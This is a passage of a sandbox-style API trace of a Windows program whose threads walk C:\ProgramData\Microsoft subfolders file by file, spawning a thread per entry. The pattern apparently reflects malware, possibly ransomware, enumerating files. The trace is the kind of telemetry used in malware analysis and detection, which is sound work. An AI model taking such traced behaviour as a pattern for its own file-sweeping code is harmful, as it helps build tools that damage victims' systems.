ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0048.567] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0048.567] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413e38 [0048.567] wcscpy (in: _Dest=0x413e38, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0048.567] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0048.567] wcscat (in: _Dest=0x413e38, _Source="Active.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0049.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x413e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0049.061] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0049.061] wcscmp (_String1="Pending.GRL", _String2=".") returned 1 [0049.061] wcscmp (_String1="Pending.GRL", _String2="..") returned 1 [0049.062] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414200 [0049.062] wcscpy (in: _Dest=0x414200, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0049.062] wcscat (in: _Dest=0x414200, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0049.062] wcscat (in: _Dest=0x414200, _Source="Pending.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0049.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x414200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0049.063] FindNextFileW (in: hFindFile=0x409be8, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0049.063] FindClose (in: hFindFile=0x409be8 | out: hFindFile=0x409be8) returned 1 [0049.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427600) returned 1 [0049.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0049.063] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b28) returned 1 Thread: id = 156 os_tid = 0x5a8 [0046.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402918 [0046.159] wcscpy (in: _Dest=0x402918, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0046.159] wcscat (in: _Dest=0x402918, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0046.159] wcscat (in: _Dest=0x402918, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\*" [0046.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427868 [0046.159] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a468 [0049.789] wcscmp (_String1=".", _String2=".") returned 0 [0049.789] FindNextFileW (in: hFindFile=0x40a468, lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.789] wcscmp (_String1="..", _String2=".") returned 1 [0049.789] wcscmp (_String1="..", _String2="..") returned 0 [0049.789] FindNextFileW (in: hFindFile=0x40a468, lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0049.789] wcscmp (_String1="8.0", _String2=".") returned 1 [0049.789] wcscmp (_String1="8.0", _String2="..") returned 1 [0049.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x445040 [0049.790] wcscpy (in: _Dest=0x445040, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0049.790] wcscat (in: _Dest=0x445040, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0049.790] wcscat (in: _Dest=0x445040, _Source="8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0066.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0066.013] FindNextFileW (in: hFindFile=0x40a468, lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0066.014] FindClose (in: hFindFile=0x40a468 | out: hFindFile=0x40a468) returned 1 [0066.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427868) returned 1 [0066.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402918) returned 1 [0066.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402498) returned 1 Thread: id = 157 os_tid = 0x59c [0046.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414780 [0046.160] wcscpy (in: _Dest=0x414780, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0046.160] wcscat (in: _Dest=0x414780, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0046.160] wcscat (in: _Dest=0x414780, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\*" [0046.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427ad0 [0046.160] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c68 [0049.763] wcscmp (_String1=".", _String2=".") returned 0 [0049.763] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.763] wcscmp (_String1="..", _String2=".") returned 1 [0049.763] wcscmp (_String1="..", _String2="..") returned 0 [0049.763] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0049.763] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0049.763] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0049.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43bf78 [0049.763] wcscpy (in: _Dest=0x43bf78, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0049.763] wcscat (in: _Dest=0x43bf78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0049.763] wcscat (in: _Dest=0x43bf78, _Source="BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0055.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0055.572] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x427ad0 | out: lpFindFileData=0x427ad0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0055.572] FindClose (in: hFindFile=0x409c68 | out: hFindFile=0x409c68) returned 1 [0055.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427ad0) returned 1 [0055.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414780) returned 1 [0055.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f98) returned 1 Thread: id = 158 os_tid = 0x6e4 [0046.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444f00 [0046.160] wcscpy (in: _Dest=0x444f00, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0046.160] wcscat (in: _Dest=0x444f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0046.160] wcscat (in: _Dest=0x444f00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\*") returned="C:\\ProgramData\\Microsoft\\Network\\*" [0046.160] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427d38 [0046.160] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ea8 [0049.788] wcscmp (_String1=".", _String2=".") returned 0 [0049.788] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.789] wcscmp (_String1="..", _String2=".") returned 1 [0049.789] wcscmp (_String1="..", _String2="..") returned 0 [0049.789] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0049.789] wcscmp (_String1="Connections", _String2=".") returned 1 [0049.789] wcscmp (_String1="Connections", _String2="..") returned 1 [0049.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48cfe0 [0049.789] wcscpy (in: _Dest=0x48cfe0, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0049.789] wcscat (in: _Dest=0x48cfe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0049.789] wcscat (in: _Dest=0x48cfe0, _Source="Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0055.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48cfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0055.579] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0055.579] wcscmp (_String1="Downloader", _String2=".") returned 1 [0055.579] wcscmp (_String1="Downloader", _String2="..") returned 1 [0055.579] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44ab50 [0055.579] wcscpy (in: _Dest=0x44ab50, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0055.579] wcscat (in: _Dest=0x44ab50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0055.579] wcscat (in: _Dest=0x44ab50, _Source="Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0055.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44ab50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4 [0055.580] FindNextFileW (in: hFindFile=0x409ea8, lpFindFileData=0x427d38 | out: lpFindFileData=0x427d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0055.581] FindClose (in: hFindFile=0x409ea8 | out: hFindFile=0x409ea8) returned 1 [0055.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427d38) returned 1 [0055.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444f00) returned 1 [0055.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c80) returned 1 Thread: id = 159 os_tid = 0x440 [0046.161] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444f50 [0046.161] wcscpy (in: _Dest=0x444f50, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0046.161] wcscat (in: _Dest=0x444f50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0046.161] wcscat (in: _Dest=0x444f50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\*" [0046.161] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427fa0 [0046.161] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4401e0 [0051.193] wcscmp (_String1=".", _String2=".") returned 0 [0051.193] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.197] wcscmp (_String1="..", _String2=".") returned 1 [0051.197] wcscmp (_String1="..", _String2="..") returned 0 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0051.197] wcscmp (_String1="AssetLibrary.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="AssetLibrary.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0051.197] wcscmp (_String1="DocumentRepository.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="DocumentRepository.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0051.197] wcscmp (_String1="MySharePoints.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="MySharePoints.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0051.197] wcscmp (_String1="MySite.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="MySite.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0051.197] wcscmp (_String1="SharePointPortalSite.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="SharePointPortalSite.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0051.197] wcscmp (_String1="SharePointTeamSite.ico", _String2=".") returned 1 [0051.197] wcscmp (_String1="SharePointTeamSite.ico", _String2="..") returned 1 [0051.197] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0051.197] wcscmp (_String1="UICaptions", _String2=".") returned 1 [0051.197] wcscmp (_String1="UICaptions", _String2="..") returned 1 [0051.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a0d0 [0051.197] wcscpy (in: _Dest=0x44a0d0, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0051.197] wcscat (in: _Dest=0x44a0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0051.197] wcscat (in: _Dest=0x44a0d0, _Source="UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0066.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1014 [0066.023] FindNextFileW (in: hFindFile=0x4401e0, lpFindFileData=0x427fa0 | out: lpFindFileData=0x427fa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, 